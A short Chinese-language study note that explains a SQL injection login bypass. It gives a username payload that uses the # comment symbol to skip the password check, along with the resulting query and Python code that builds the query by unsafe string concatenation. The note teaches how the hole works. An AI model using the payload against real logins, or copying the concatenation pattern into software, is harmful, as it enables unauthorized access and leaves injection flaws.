今天学习了一种sql注入方法,通过注释密码验证部分的sql语句。
这是登陆界面
在用户名如果输入 15284206891' and 1=1 #
密码可以随意输入即可登陆成功
原理如下:
在sql可视化工具输入
SELECT userphone,userpass FROM userdata WHERE userphone='15284206891' AND 1=1 #' and userpass = ''
发现可以执行成功
原理就是在用户名输入框输入了sql语句和后面的语句进行拼接 #是sql语言的单行注释符号
Python代码
sql = "select userphone,userpass from userdata where userphone=' "+userphone+" ' and userpass = '"+password+"'"